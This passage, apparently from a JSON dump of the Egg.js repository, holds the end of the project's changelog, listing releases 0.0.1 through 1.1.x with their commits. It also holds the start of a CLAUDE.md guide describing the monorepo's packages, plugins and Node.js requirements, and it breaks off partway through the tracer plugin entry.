<<atian25@qq.com>>)\n  * [[`394bf371`](http://github.com/eggjs/egg/commit/394bf3711312f09d851be728b718e4d0f8fc9c1f)] - docs:Modify some words (#811) (binsee <<binsee@163.com>>)\n  * [[`1132779c`](http://github.com/eggjs/egg/commit/1132779c4057bf96be1b73a3473b1545c3b5ab7a)] - docs(head.swig):fix the document page anchor position offset. (#790) (binsee <<binsee@163.com>>)\n  * [[`9ef9d6aa`](http://github.com/eggjs/egg/commit/9ef9d6aa5953106555f11ac5dee6fe544773ceb8)] - fix(package.json & doc.js): fix doc tool error. (#791) (binsee <<binsee@163.com>>)\n  * [[`90234efb`](http://github.com/eggjs/egg/commit/90234efbae13066ced3d25e8ba7201c0197c3ab1)] - docs(middleware.md): fix grammar (lslxdx <<lslxdx@163.com>>)\n  * [[`9200a51d`](http://github.com/eggjs/egg/commit/9200a51d5b5c530a8f5ce8af4dd61f38981dc4c8)] - docs(basic/controller.md): typo 'matchs' -> 'matches' (#802) (lslxdx <<lslxdx@163.com>>)\n  * [[`b4eb05b3`](http://github.com/eggjs/egg/commit/b4eb05b301bb1226edfc634ec90d1a5ae53514e2)] - docs(zh-cn docs):fix some link and link text in docs (#789) (binsee <<binsee@163.com>>)\n  * [[`df1bf345`](http://github.com/eggjs/egg/commit/df1bf3459fd03f948532f7b6d2d436a74c54ed59)] - docs: add inspector protocol vscode debug (#776) (仙森 <<dapixp@gmail.com>>)\n  * [[`a8893f7e`](http://github.com/eggjs/egg/commit/a8893f7e7d9937d675d8be0da7bed0f2c259ae39)] - docs: add vscode debug (#751) (#767) (仙森 <<dapixp@gmail.com>>)\n  * [[`d4c345d3`](http://github.com/eggjs/egg/commit/d4c345d3d29266e0eb248eecee27bc0e492f5e5e)] - docs: typo fix \"aync => async\" (BingqiChen <<bingqichen@live.cn>>)\n  * [[`492c97d6`](http://github.com/eggjs/egg/commit/492c97d61c75911ae0e987f65325a5c7493f63b9)] - docs: add vscode plugin link (#756) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`2bf23fef`](http://github.com/eggjs/egg/commit/2bf23feffb7b9ff1bc07d072a4052eec863d001c)] - docs: link plugins to github search results (#755) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n  * [[`5befb0b1`](http://github.com/eggjs/egg/commit/5befb0b1f0f525ba778d54a5dedb72f2e880ab60)] - feat: remove egg logger local config (#695) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`1ab42e02`](http://github.com/eggjs/egg/commit/1ab42e0243354eab7f602faebd76d7117038e877)] - docs: document for middleware order (#724) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`d6be9499`](http://github.com/eggjs/egg/commit/d6be949973002880a2fe71313c7630f7f94fde97)] - chore: remove chinese commnets (#749) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n  * [[`3bdbcae2`](http://github.com/eggjs/egg/commit/3bdbcae2486073447849f6e09831860dc42995d6)] - docs: fix typo, egg-bin => egg-init (#747) (Rwing <<Rwing@rwing.cn>>)\n\n## 2017-04-11, Version 1.1.0, @fengmk2\n\n### Notable changes\n\n  * **document**\n    * Lots of documents improve and typo fixes. Thanks @lslxdx, @zhennann, @dotnil, @no7dw, @cuyl, @Andiedie, @kylezhang,\n      @SF-Zhou, @yandongxu, @jemmyzheng, @Carrotzpc, @zbinlin, @OneNewLife, @monkindey, @simman,\n      @demohi, @xwang1024 and @davidnotes\n  * **feature**\n    * warn if some confused configurations exist in config [#637](https://github.com/eggjs/egg/pull/637)\n    * use extend2 instead of extend to support `Array` config value [#674](https://github.com/eggjs/egg/pull/674)\n    * expose context base classes on Application instance, make app or framework override context extend more easily [#737](https://github.com/eggjs/egg/pull/737)\n    * expose egg.Controller and egg.Service [#741](https://github.com/eggjs/egg/pull/741)\n  * **fix**\n    * remove unused `jsonp` context delegate to response, please use [jsonp middleware instead](https://eggjs.org/zh-cn/basics/controller.html#jsonp) [#739](https://github.com/eggjs/egg/pull/739)\n\n### Commits\n\n  * [[`241b4e8`](http://github.com/eggjs/egg/commit/241b4e83c05e7086493564e536f5ce69d17dde0c)] - feat: expose egg.Controller and egg.Service (#741) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n  * [[`26efa42`](http://github.com/eggjs/egg/commit/26efa427cf34e0ef0482d69fc10a77280e5fea5e)] - fix: remove unused jsonp delegate (#739) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n  * [[`c33523d`](http://github.com/eggjs/egg/commit/c33523db3e086eafd1f7bc7486c6d1b2b68335e3)] - feat: export context base classes on Application (#737) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`ee127ad`](http://github.com/eggjs/egg/commit/ee127ad46b33a19d43c84a04649569a404a7f6af)] - docs: add sub directory support for controller (#734) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n  * [[`88a1669`](http://github.com/eggjs/egg/commit/88a166933478373c4fd5cdd349d3b63e00cbaf7e)] - docs: typo at controller.md (#720) (lslxdx <<lslxdx@163.com>>)\n  * [[`4c298c2`](http://github.com/eggjs/egg/commit/4c298c2c70017d12688e2801bfe6e66886ba24bd)] - docs: async-function typo, change generator to async (#712) (zhennann <<zhennann@qq.com>>)\n  * [[`a9d27d0`](http://github.com/eggjs/egg/commit/a9d27d0ab3f3dea89487fc1e8c084b9ddc7e854d)] - docs: add schedule max interval (#711) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n  * [[`9e94b7b`](http://github.com/eggjs/egg/commit/9e94b7b31106ce578a67dd15984d847587527299)] - docs: little grammar issues (#707) (Chen Yangjian <<jakeplus@gmail.com>>)\n  * [[`a4d12ec`](http://github.com/eggjs/egg/commit/a4d12ecc6c468ebf37ff6acba06e65b15cfde4f4)] - chore: remove unused config (#694) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n  * [[`88449f9`](http://github.com/eggjs/egg/commit/88449f9b292d69bd2f936f0ecb037efecbed2e8e)] - docs: add webstorm debug (#689) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`8517625`](http://github.com/eggjs/egg/commit/8517625b44f36909169032f8fff3ced3e1910a47)] - docs: correct spelling mistake (#682) (Wade Deng <<no7david@gmail.com>>)\n  * [[`92ef92b`](http://github.com/eggjs/egg/commit/92ef92b7cec015d2843c9d7cb113694ad7ca34ec)] - docs: faq add where are my logs (#680) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n  * [[`b8fc4e4`](http://github.com/eggjs/egg/commit/b8fc4e460e2dcffe60364a71dec2d07bd354d2cf)] - deps: use extend2 instead of extend (#674) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n  * [[`0ccbcf9`](http://github.com/eggjs/egg/commit/0ccbcf98be8946891b520321743d3b5a95899955)] - docs: fix example code syntax error & typos (#672) (cuyl <<463060544@qq.com>>)\n  * [[`1486705`](http://github.com/eggjs/egg/commit/14867059b5070b274cbee26df3accf5463eb4fe8)] - docs: security match and ignore (#668) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n  * [[`7ab3791`](http://github.com/eggjs/egg/commit/7ab37915afc4a197cc58bc477e5b96cb1a73ced1)] - test: test for closing logger (#667) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`5f5cf91`](http://github.com/eggjs/egg/commit/5f5cf91a6af118ebc558252e07bcfa0f094045e3)] - docs(quickstart): tip for controller and config style (#666) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`e47c24b`](http://github.com/eggjs/egg/commit/e47c24b3f1fd27b0f545f107913d6c6e1cae53ac)] - docs: fix example code typos (#629) (SF-Zhou <<sfzhou.scut@gmail.com>>)\n  * [[`7900576`](http://github.com/eggjs/egg/commit/7900576e690d038e4d75891890c467c743f03605)] - docs: fix egg-session-redis code (#642) (周长安 <<zchangan@163.com>>)\n  * [[`8c77e59`](http://github.com/eggjs/egg/commit/8c77e5907834cb110a99a4ace0356868107c88e6)] - feat: warn if some confused configurations exist in config (#637) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n  * [[`cd8c659`](http://github.com/eggjs/egg/commit/cd8c65965dc62fe7d45598450d6ef31ab344b878)] - docs: fix some typo (#638) (kyle <<succpeking@hotmail.com>>)\n  * [[`7d830b7`](http://github.com/eggjs/egg/commit/7d830b7c92f81a9d133b7f1e6fe71b3d8a8d5a31)] - docs: fix reference framework path (#634) (kyle <<succpeking@hotmail.com>>)\n  * [[`a471e93`](http://github.com/eggjs/egg/commit/a471e93977e67c98280af8517100bfe48495bbb2)] - docs: fix example code in basics/middleware (#624) (SF-Zhou <<sfzhou.scut@gmail.com>>)\n  * [[`e87c170`](http://github.com/eggjs/egg/commit/e87c170770c117d275fd84c02a9fb1e699fa94cf)] - docs: fix code syntax (#628) (dongxu <<yandongxu@users.noreply.github.com>>)\n  * [[`531dadd`](http://github.com/eggjs/egg/commit/531dadd7c3f8bd813c365d705ce7293a719e98f3)] - docs(security): Cookie of token, the key must be csrfToken (#625) (jemmy zheng <<jemmy.zheng@hotmail.com>>)\n  * [[`8d73b02`](http://github.com/eggjs/egg/commit/8d73b02dcb856e3d8075aa34bc47a2f6dbb3af2b)] - docs: move cnzz to layout (#622) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`077bebe`](http://github.com/eggjs/egg/commit/077bebe17889d8a0cff2a1dbfebd72b4b8147ab3)] - docs: fix table render error in en env.md (#621) (SF-Zhou <<sfzhou.scut@gmail.com>>)\n  * [[`990d45e`](http://github.com/eggjs/egg/commit/990d45e75f2d73b9bb4cddbf76e67452740e3178)] - docs: fixed table render error in env.md (#619) (SF-Zhou <<sfzhou.scut@gmail.com>>)\n  * [[`e9428ba`](http://github.com/eggjs/egg/commit/e9428ba95fcd07ba255359a968dd027932ce2f77)] - docs: improve left padding when window between 1005 and 1130 (#617) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`c22e005`](http://github.com/eggjs/egg/commit/c22e0055ca8df35c1aa9d7d6ed7e31c21dd4b547)] - docs: turn off safe write in Jetbrains softwares (#614) (Shawn <<shaoshuai0102@gmail.com>>)\n  * [[`2296b7b`](http://github.com/eggjs/egg/commit/2296b7b22cc3e240bb676444d4fd2f953338cea5)] - docs: fix document deploy (#609) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n## 2017-03-21, Version 1.0.0, @popomore\n\nRelease the first stable version :egg: :clap::clap::clap:\n\n### Commits\n\n  * [[`a3ad38d`](http://github.com/eggjs/egg/commit/a3ad38d649ff8eb0cd6dfcbe338466f1c59afef3)] - docs: fix HttpClient link in docs (#599) (Luobo Zhang <<zhang.pc3@gmail.com>>)\n  * [[`242a4a1`](http://github.com/eggjs/egg/commit/242a4a1fbecfc4efa37cca58d1861040dd5838bd)] - docs: fix session's maxage (#598) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n  * [[`ee77e5c`](http://github.com/eggjs/egg/commit/ee77e5cdcb444f86bf9f50bfd89a63dd9321449f)] - docs: fix some typo (#597) (kyle <<succpeking@hotmail.com>>)\n  * [[`984d732`](http://github.com/eggjs/egg/commit/984d7320881adf9420e5c7e49d62d5530ad887dd)] - refactor: app.cluster auto bind this (#570) (zōng yǔ <<gxcsoccer@users.noreply.github.com>>)\n  * [[`4687f0f`](http://github.com/eggjs/egg/commit/4687f0f47566373938f9f928ac1dc4fa62590f4d)] - docs: fix session link (#595) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`3849c1c`](http://github.com/eggjs/egg/commit/3849c1c4b8f0354b12fd17bb884c33ef9e115e3c)] - docs: fix typo of httpclient & unittest (#591) (kyle <<succpeking@hotmail.com>>)\n  * [[`871aa82`](http://github.com/eggjs/egg/commit/871aa82d28eeb026de6633cafbe168cca8ad3182)] - docs: add gitter & more controller ctx style (#585) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`a172960`](http://github.com/eggjs/egg/commit/a1729604959af84878dddb2776d621ee01c2d447)] - docs: typo (kyle <<succpeking@hotmail.com>>)\n  * [[`54c10bc`](http://github.com/eggjs/egg/commit/54c10bc085b380f4f003d2f7987c205264dde1ad)] - docs: change controller showcase style to ctx (#568) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`d131f23`](http://github.com/eggjs/egg/commit/d131f236111981d7fb7021998bed200a46a4603d)] - docs: fix typo in docs (#563) (Jason Lee <<huacnlee@gmail.com>>)\n  * [[`497b9a9`](http://github.com/eggjs/egg/commit/497b9a9e7c5cdcb0b769691ea40a74a4d284cfff)] - docs(faq): fix cluster link (#557) (Mars Wong <<marswong618@gmail.com>>)\n  * [[`0d37e42`](http://github.com/eggjs/egg/commit/0d37e42259647ce9cb43deeba7a887817c7ef408)] - docs: update the style for search (#558) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`24ef44f`](http://github.com/eggjs/egg/commit/24ef44fa662392c7b80dbba8da0c4d5a7c9b83dd)] - docs: fix typo (#565) (Colin Cheng <<zbinlin@gmail.com>>)\n  * [[`9eecf7b`](http://github.com/eggjs/egg/commit/9eecf7b0f928fc33d47e93782c79289ca2a13289)] - docs: rule for transforming filepath to properties (#547) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`d088283`](http://github.com/eggjs/egg/commit/d0882837c34a8b950a11e4f8fe4f47f29d8823f7)] - feat: show warning message with call stack (#549) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`4a89c3b`](http://github.com/eggjs/egg/commit/4a89c3b563ef79f5ad557ef741c16f283c11e835)] - docs: replace customEgg to framework (#545) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`c1464fb`](http://github.com/eggjs/egg/commit/c1464fbecb27caa0dc6766147d3b13d790466386)] - docs: more detail for mysql dynamic create (#540) (TZ | 天猪 <<atian25@qq.com>>)\n\n1.0.0-rc.3 / 2017-03-10\n=======================\n\n  * docs: fix doc scroll bug (#532)\n  * test: fix development test (#546)\n  * doc: add Algolia docsearch (#542)\n  * feat: [BREAKING_CHANGE] override array  when load config (#522)\n  * docs: fix cookie example (#533)\n  * feat: ignore types when dump (#518)\n  * docs: rotate csrf token (#520)\n  * refactor: [BREAKING CHANGE] remove userservice and userrole (#527)\n  * refactor: [BREAKING_CHANGE] remove default validate plugin (#526)\n  * docs: fix doc build (#524)\n  * docs: fix middleware typo (#519)\n  * docs(quickstart): fix keys again (#515)\n  * docs(quickstart): fix keys (#511)\n  * docs: add cookie and session (#510)\n  * docs: fix html closing tag in quickstart (#512)\n  * docs: quickstart tip (#502)\n  * docs: add English version of `egg and koa` (#490)\n  * feat: remove default customEgg (#487)\n  * doc: add the view config for the egg-view-nunjucks (#496)\n  * test: add qs security test cases (#491)\n  * docs: remove meaningless word (#488)\n\n1.0.0-rc.2 / 2017-03-01\n=======================\n\n  * deps: upgrade egg-session@2 to support external session store (#480)\n  * docs: fix view plugin config at quickstart (#482)\n  * docs: update document for view that using egg-view (#475)\n  * docs: add config merge to faq (#478)\n  * docs(doc): add english version of \"what is egg\" (#462)\n  * docs: fix deployment link (#473)\n  * docs: add document for deployment (#448)\n  * test: travis test on node 8 using nightly building (#464)\n  * docs: seperate cluster-and-ipc and cluster-client (#441)\n  * docs: fixed typos 'BS' (#461)\n  * docs: fixed spelling mistake (#460)\n  * test: disable error log to stderr (#453)\n  * docs: fix async-function demo link (#457)\n  * feat: throw if config.keys not exists when access app.keys (#443)\n  * docs: add year to licence && mysql docs (#447)\n  * feat: extend runInBackground on application (#442)\n\n1.0.0-rc.1 / 2017-02-23\n=======================\n\n  * feat: [BREAKING_CHANGE] reimplement view, use egg-view plugin  (#402)\n  * fix: listen CookieLimitExceed in app (#429)\n  * fix: close gracefully (#419)\n  * docs: correct spelling mistake (#424)\n  * feat: log error when cookie value's length exceed the limit (#418)\n  * docs: Update mysql.md (#422)\n  * docs: add more complete example code for quickstart (#412)\n  * fix: deprecate warning when inspect & toJSON (#408)\n  * docs: should listen egg-ready using messenger (#406)\n  * docs: correct english description at README (#400)\n  * docs: fix character type error and link reference error (#396)\n  * docs: add csrf to faq (#393)\n  * fix: keep unhandledRejectionError err object stack (#390)\n  * docs: use compress replace bodyparser for example (#391)\n  * docs: add directory structure (#383)\n  * docs: add api-doc (#369)\n  * docs: how to use koa's middleware (#386)\n  * feat: dump config both after loaded and ready (#377)\n  * docs: fix filename in config.md (#376)\n  * docs: add plugin dep name description (#374)\n  * docs: update version automatically (#367)\n  * doc: add pm2 faq (#370)\n  * docs: fix jsonp config in controller.md (#372)\n  * feat: [BREAKING_CHANGE] remove notfound.enableRedirect (#368)\n  * docs: add resource page (#364)\n  * docs: add config result description (#365)\n  * deps: upgrade egg-mock (#362)\n  * docs: english wip description & remove unuse file (#361)\n  * docs: add tutorials index & fix async (#359)\n\n0.12.0 / 2017-02-12\n===================\n\n  * docs: fix async link (#357)\n  * docs: add async await (#349)\n  * docs: typo Github > GitHub (#356)\n  * docs: update site style  (#340)\n  * deps: upgrade egg-core (#350)\n  * docs: add description to config/env file (#348)\n  * docs: add APIClient concept to cluster doc (#344)\n  * test: add async test case (#339)\n  * feat: view base promise to support async function (#343)\n  * feat: curl return promise (#342)\n  * test: add class style controller tests (#336)\n  * docs: add cnzz (#335)\n  * test: improve coverage to 100% (#333)\n  * docs: update egg-and-koa with async function (#334)\n  * fix: remove tair and hsf (#332)\n  * docs: quickstart - use controller class (#329)\n\n0.11.0 / 2017-02-07\n===================\n\n  * feat: remove overrideMethod middleware (#324)\n  * feat: remove worker client, use app.cluster (#282)\n  * chore(scripts): Add PATH to find hexo (#327)\n  * docs: fix quickstart example code (#326)\n  * chore(scripts): deploy document by travis (#325)\n  * docs: add httpclient tracer demo and docs (#313)\n  * feat: close cluster clients before app close (#310)\n  * test: mv benchmark to eggjs/benchmark (#320)\n  * docs: document for plugin.{env}.js and the reason of plugin name (#321)\n  * docs: add sigleton in plugin.md (#316)\n  * docs: plugin and framework list use github tags (#318)\n  * docs: remove outdated docs (#319)\n  * docs: controller support class and refactor jsonp (#314)\n  * docs: add more details about csrf (#315)\n\n0.10.0 / 2017-02-03\n===================\n\n  * feat: remove tracer (#311)\n  * refactor: use app.beforeClose (#306)\n  * feat: move ctx.runtime to egg-instrument (#302)\n  * feat: merge the api of application/agent from extend to instance (#294)\n  * docs: add egg-security config to router docs (#303)\n  * style: fix code style for app and config (#300)\n  * refactor: remove ctx.jsonp and add egg-jsonp plugin (#299)\n  * docs: fix typo $app to app (#297)\n  * docs: remove inner links (#298)\n\n0.9.0 / 2017-01-22\n==================\n\n  * feat: remove isAjax (#295)\n  * test: fix cookie test cases (#296)\n  * docs: adjust some words (#291)\n  * feat: move clusterPort to egg-cluster (#281)\n  * feat: move app.Service egg-core (#279)\n  * docs: change egg-bin to egg-init (#284)\n  * docs: improve framework doc based on eggjs/examples#9 (#267)\n  * feat: remove instrument (#283)\n  * docs: add progressive link && adjust en docs directory (#275)\n  * docs: add progressive usage (#268)\n\n0.8.0 / 2017-01-18\n==================\n\n  * test: dep -> dependencies (#270)\n  * docs: translate zh-cn/basics/app-start.md into english (#222)\n  * docs: fix quickstart typo (#266)\n  * docs: add http client debug docs (#265)\n  * docs: modify and fix 3 points (#264)\n  * docs(intro): improve decription (#263)\n  * docs: fix docs site version (#262)\n  * docs: Fix typo.  (#261)\n  * docs: review 1st version docs (#257)\n  * fix: typo conext -> context (#259)\n  * docs: contributing && readme && deps (#253)\n  * docs: fix quickstart link in index.html (#256)\n  * docs: set the default locale zh-cn (#255)\n  * refactor: ctx.realStatus delegate ctx.response.realStatus (#252)\n  * docs: Add intro/index.md (#246)\n  * feat: adjust default plugins (#251)\n  * docs: add RESTful documents (#247)\n  * feat: delegate ctx.jsonp to ctx.response.jsonp (#248)\n  * chore: remove examples (#245)\n  * docs: improve mysql doc\n  * docs: add mysql doc\n  * docs: view (#228)\n  * docs: improve doc theme (#230)\n  * docs: add core/unittest.md (#199)\n  * docs: add advanced/framework.md (#225)\n\n0.7.0 / 2017-01-12\n==================\n\n  * docs: add service doc (#221)\n  * docs: serverEnv => env (#239)\n  * feat: delegate configurations in app (#233)\n  * refactor: remove ctx.getCookie, ctx.setCookie and ctx.deleteCookie (#240)\n  * docs: remove mon-printable character (#242)\n  * feat: support app.config.proxy to identify app is behind a proxy (#231)\n  * doc: add plugin doc (#224)\n  * docs: add Quick Start in English (#223)\n  * docs: add basics/controller.md (#209)\n  * docs: add core/development.md (#214)\n  * docs: remove init.js from document, use app.beforeStart (#229)\n  * docs: quickstart (#217)\n  * docs: add security plugin doc (#196)\n  * docs: mv cluster.md to zh-cn (#216)\n  * feat: add cluster-client (#191)\n  * docs: add basics/router.md (#203)\n  * docs: add advanced/loader.md (#198)\n  * docs: fix i18n doc (#210)\n  * docs: add core/i18n.md (#208)\n  * docs: add core/httpclient document (#197)\n  * docs: typo (#207)\n  * docs: add core/logger.md (#204)\n  * docs: add one more reason why not use koa 2 (#206)\n  * docs: add error handling (#205)\n  * docs: add schedule (#202)\n  * docs: add english translation of basics/env.md\n  * docs: basics/middleware (#194)\n  * docs: add basics/config.md (#188)\n  * doc: app start (#193)\n  * docs: rename koa.md to egg-and-koa.md (#190)\n  * docs: egg and koa (#179)\n  * doc: add basics/env.md (#178)\n  * doc: rename guide/basics/extend.md to basics/extend.md (#189)\n  * doc: guide/basics/extend doc (#187)\n\n0.6.3 / 2016-12-30\n==================\n\n  * refactor: use logger.close, .end is deprecated (#171)\n\n0.6.2 / 2016-12-22\n==================\n\n  * refactor(config): set keepAliveTimeout 4000ms by default (#165)\n\n0.6.1 / 2016-12-21\n==================\n\n  * refactor: use sendToApp/sendToAgent in worker client\n  * fix: protocolHeaders can split with whitespace (#164)\n  * deps: update version (#157)\n\n0.6.0 / 2016-12-03\n==================\n\n  * deps: egg-cookies@2 (#155)\n  * fix: already supported in egg-core (#154)\n  * feat: body parser support disable, ignore and match (#150)\n  * feat: use appInfo.root in config (#147)\n  * test: refactor workclient test cases (#145)\n  * feat: add a dns cache httpclient (#146)\n\n0.5.0 / 2016-11-04\n==================\n\n  * deps: upgrade dependencies (#144)\n  * feat: warn when agent send message before started (#143)\n  * feat: [BREAKING_CHANGE] refactor Messenger (#141)\n  * feat: print error to console on unittest env (#139)\n  * feat: add ip setter on request (#138)\n  * feat: add getLogger to app and ctx (#136)\n  * test: remove co-sleep deps\n  * test: add local server for curl test cases\n  * test: use fs read instead of curl test on runInBackground\n\n0.4.0 / 2016-10-29\n==================\n\n  * deps: update version (#135)\n  * feat: support background task on ctx (#119)\n  * chore: add middleware example (#121)\n\n0.3.0 / 2016-10-28\n==================\n\n  * test: fix unstable test (#133)\n  * feat: close return promise (#128)\n  * deps: update deps version (#113)\n  * fix: AppWorkerClient subscribe same data failed issue (#110)\n\n0.2.1 / 2016-09-16\n==================\n\n  * feat(application): emit startTimeout event (#107)\n  * perf: get header using lower case (#106)\n  * chore: remove --fix for error check but not fix (#101)\n  * doc: Add Installation (#95)\n  * doc: add title (#94)\n\n0.2.0 / 2016-09-03\n==================\n\n  * docs: improve documents\n  * test: update benchmark scripts (#79)\n  * test: add router for bench cases (#78)\n  * fix: set header use lowercase (#76)\n  * test: add toa benchmark (#75)\n  * test: add benchmark results (#74)\n  * test: fix security tests (#73)\n  * test: egg-view-nunjucks change views -> view (#72)\n\n0.1.3 / 2016-08-31\n==================\n\n  * fix: utils.assign support undefined (#71)\n  * refactor: change accept to getter (#68)\n\n0.1.2 / 2016-08-31\n==================\n\n  * deps: egg-security@1 (#67)\n  * Revert raw header (#65)\n  * feat: [BREAKING_CHANGE] remove poweredBy && config.core (#63)\n\n0.1.1 / 2016-08-29\n==================\n\n  * refactor: use ctx.setRawHeader (#61)\n  * chore: add benchmarks (#62)\n  * fix(meta): remove server-id (#56)\n  * feat(response): add res.setRawHeader (#60)\n  * refator: use utils.assign instead of Object.assign (#59)\n  * feat: docs structure (#55)\n  * docs: web.md and web.zh_CN.md (#54)\n\n0.1.0 / 2016-08-18\n==================\n\n  * feat: [BREAKING_CHANGE] use egg-core (#44)\n  * doc: translate to EN (#25)\n  * fix: Error of no such file or directory, scandir '/restful_api/app/api' (#42)\n  * test: fix default plugins test (#37)\n  * feat: add inner plugins (#24)\n  * docs: add schedule example (#30)\n\n0.0.5 / 2016-07-20\n==================\n\n  * refactor(core): let ctx.cookies become a getter (#22)\n  * fix(messenger): init when create app and agent (#21)\n  * test: add test codes (#20)\n\n0.0.1 / 2016-07-13\n==================\n\n * init version\n"
  },
  {
    "path": "CLAUDE.md",
    "content": "# CLAUDE.md\n\nThis file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.\n\n## Project Overview\n\nThis is the **Eggjs** framework - a progressive Node.js framework for building enterprise-class server-side applications. Built on top of Koa.js, it provides a plugin system, conventions over configuration, and enterprise-grade features like clustering, logging, and security.\n\n**This project is structured as a pnpm monorepo** with multiple packages and uses pnpm workspaces for dependency management.\n\n### Node.js Requirements\n\n**IMPORTANT: All packages in this monorepo require Node.js >= 22.18.0**. This minimum version is enforced across all packages to ensure compatibility with modern JavaScript features and optimal performance.\n\n> Node.js will be able to execute TypeScript files without additional configuration. See https://nodejs.org/en/blog/release/v22.18.0\n\n## Monorepo Structure\n\n### Packages\n\n- **`packages/egg/`** - Main Eggjs framework package\n  - `src/` - TypeScript source code\n  - `test/` - Comprehensive test suite with fixtures\n- **`packages/core/`** - Core plugin framework (merged from @eggjs/core)\n  - `src/` - Core TypeScript source code\n  - `test/` - Core framework test suite with vitest\n- **`packages/utils/`** - Utility functions (merged from @eggjs/utils)\n  - `src/` - Utils TypeScript source code\n  - `test/` - Utils test suite\n- **`packages/mock/`** - Testing utilities (merged from @eggjs/mock)\n  - `src/` - Mock TypeScript source code\n  - `test/` - Mock test suite\n- **`packages/cluster/`** - Cluster management (merged from @eggjs/cluster)\n  - `src/` - Cluster TypeScript source code\n  - `test/` - Cluster test suite\n- **`packages/cookies/`** - Cookie handling utilities (merged from @eggjs/cookies)\n  - `src/` - Cookies TypeScript source code\n  - `test/` - Cookies test suite with Mocha\n- **`packages/koa/`** - Koa web framework (merged from @eggjs/koa)\n  - `src/` - Koa TypeScript source code\n  - `test/` - Koa test suite\n- **`packages/supertest/`** - HTTP testing utilities (merged from @eggjs/supertest)\n  - `src/` - Supertest TypeScript source code\n  - `test/` - Supertest test suite\n- **`packages/extend2/`** - Object extension utility (merged from extend2)\n  - `src/` - Extend2 TypeScript source code\n  - `test/` - Extend2 test suite\n- **`packages/koa-static-cache/`** - Static file serving with cache (merged from @eggjs/koa-static-cache)\n  - `src/` - TypeScript source code for static cache middleware\n  - `test/` - Test suite with Vitest\n- **`packages/router/`** - Router middleware for Koa/Egg (merged from @eggjs/router)\n  - `src/` - TypeScript source code for router implementation\n  - `test/` - Test suite with Vitest\n  - Provides RESTful resource routing and middleware composition\n  - Supports route parameter matching with path-to-regexp\n  - Includes EggRouter class with additional convenience methods\n- **`plugins/`** - Egg framework plugins (all plugins should be located here)\n  - `development/` - Development plugin for local development (merged from @eggjs/development)\n    - Provides development tools and auto-reload functionality\n    - Only enabled in local environment\n  - `watcher/` - File watcher plugin (merged from @eggjs/watcher)\n    - Provides file system watching capabilities\n    - Supports multiple event sources for different environments\n    - Used by development plugin for auto-reload functionality\n  - `schedule/` - Task scheduling plugin (merged from @eggjs/schedule)\n    - Provides cron-based task scheduling capabilities\n    - Supports interval and cron expression scheduling\n    - Manages scheduled tasks across worker processes\n  - `static/` - Static file serving plugin (merged from @eggjs/static)\n    - Provides static file serving middleware\n    - Supports multiple static directories\n    - Includes cache control and range request support\n    - Built on top of koa-static-cache\n  - `security/` - Security plugin (merged from @eggjs/security)\n    - Provides comprehensive security middleware and helpers\n    - CSRF protection with token and referer validation\n    - XSS prevention with content filtering and escape utilities\n    - Path traversal protection and safe redirects\n    - Security headers (HSTS, CSP, X-Frame-Options, etc.)\n    - SSRF protection for HTTP client requests\n    - Configurable security policies per environment\n  - `session/` - Session management plugin (merged from @eggjs/session)\n    - Provides session middleware based on koa-session\n    - Supports both cookie and external session stores\n    - Built-in memory store for development\n    - Configurable session options (maxAge, renew, etc.)\n    - Session encryption and signing\n  - `logrotator/` - Log rotation plugin (merged from @eggjs/logrotator)\n    - Provides automatic log file rotation based on time or size\n    - Supports daily rotation with configurable patterns\n    - Includes log cleanup to remove old files based on maxDays\n    - Manages all application and custom logger files\n    - Integrates with schedule plugin for automated rotation tasks\n  - `multipart/` - Multipart form data handling plugin (merged from @eggjs/multipart)\n    - Provides multipart/form-data parsing for file uploads\n    - Supports both stream and file modes for handling uploads\n    - Built-in file size and type validation\n    - Automatic temporary file cleanup\n    - Configurable whitelist/blacklist for file extensions\n    - Integration with schedule plugin for tmpdir cleanup\n  - `i18n/` - Internationalization plugin (merged from @eggjs/i18n)\n    - Provides internationalization support for multi-language applications\n    - Supports multiple file formats (JSON, JS, YAML, Properties, INI)\n    - Automatic locale detection from query, cookie, or header\n    - Context-aware translation helpers\n    - Domain-specific locale configurations\n    - Built-in pluralization support\n  - `view/` - Base view plugin (merged from @eggjs/view)\n    - Provides template rendering infrastructure for Egg applications\n    - Supports multiple template engines through plugin system\n    - Implements ViewManager for managing template engine instances\n    - Extends context with render() method for template rendering\n    - Built-in mapping configuration for file extensions to engines\n    - Template engine agnostic - works with ejs, nunjucks, handlebars, etc.\n  - `view-nunjucks/` - Nunjucks template engine plugin (merged from egg-view-nunjucks)\n    - Provides Nunjucks template engine integration for Egg applications\n    - Built on Mozilla's Nunjucks templating engine\n    - Extends ViewHelper with Nunjucks-specific safe string helpers\n    - Auto-injects CSRF tokens and CSP nonce attributes\n    - Supports custom filters and template caching\n    - Includes sandbox protection against prototype pollution attacks\n    - Depends on security and view plugins\n  - `tracer/` - Request tracing plugin (merged from @eggjs/tracer)\n    - Provides distributed tracing capabilities for Egg applications\n    - Automatically generates and tracks traceId, spanId, and parentSpanId\n    - Extends context with tracer object for 